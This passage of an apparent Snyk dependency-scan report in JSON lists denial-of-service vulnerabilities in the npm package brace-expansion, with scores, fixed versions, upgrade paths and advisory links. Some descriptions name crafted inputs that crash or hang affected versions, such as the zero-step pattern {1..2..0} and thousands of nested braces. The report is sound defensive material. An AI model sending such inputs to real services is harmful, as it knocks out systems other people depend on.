"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub 